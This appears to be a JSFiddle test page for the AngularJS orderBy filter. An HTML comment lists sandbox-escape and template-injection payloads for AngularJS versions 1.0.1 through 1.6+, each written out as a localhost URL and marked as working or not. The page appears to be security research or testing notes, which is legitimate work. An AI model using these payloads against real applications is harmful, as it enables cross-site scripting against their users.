JSFiddle - React, Tailwind, and code Playground

HTML

<!DOCTYPE html>
<html>
<head>
    <title>Order by</title>
    <!--
    When you are in an orderby predicate parameter it appears to not allow access to the $scope, which means a lot of the sandbox escaped payloads that use $eval and $$watchers do not evaluate within the orderBy filter, and some just seem to not execute.
   
    1.0.1 - 1.1.5 == works   http://localhost:3000/orderby.htm?sort=constructor.constructor(%27alert(1)%27)()
    1.2.0 - 1.2.1 == works  http://localhost:3000/orderby.htm?sort=a%3d%27constructor%27%3bb%3d{}%3ba.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,%27alert(1)%27)()
    1.2.2 - 1.2.5 == not working http://localhost:3000/orderby.htm?sort=%27a%27[{toString%3a[].join,length%3a1,0%3a%27__proto__%27}].charAt%3d%27%27.valueOf%3b$eval(%22x%3d%27%22%2b(y%3d%27if(!window\\u002ex)alert(window\\u002ex%3d1)%27)%2beval(y)%2b%22%27%22)%3b
    1.2.6 - 1.2.18 == not working http://localhost:3000/orderby.html?sort=_%3d''.sub).call.call({}[$%3d'constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()
    1.2.19 - 1.2.23 == works http://localhost:3000/orderby.htm?sort=toString.constructor.prototype.toString%3dtoString.constructor.prototype.call%3b[%22a%22,%22alert(1)%22].sort(toString.constructor)%3b
    1.2.24 - 1.2.29 == not working http://localhost:3000/orderby.htm?sort=%27a%27.constructor.prototype.charAt%3d%27%27.valueOf%3b$eval(%22x%3d%27\%22%2b(y%3d%27if(!window\\u002ex)alert(window\\u002ex%3d1)%27)%2beval(y)%2b\%22%27%22)%3b
    1.3.0 == not working (calls $$watchers)
    1.3.1 - 1.5.8 == no working (calls $eval)
    1.6.0 > == works (sandbox gone) http://localhost:3000/orderby.htm?sort=constructor.constructor(%27alert(1)%27)()
    -->
    <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.3.0/angular.js"></script>
    <script type="text/javascript">
    (function(angular) {
    'use strict';
    angular.module('orderByExample', [])
     ...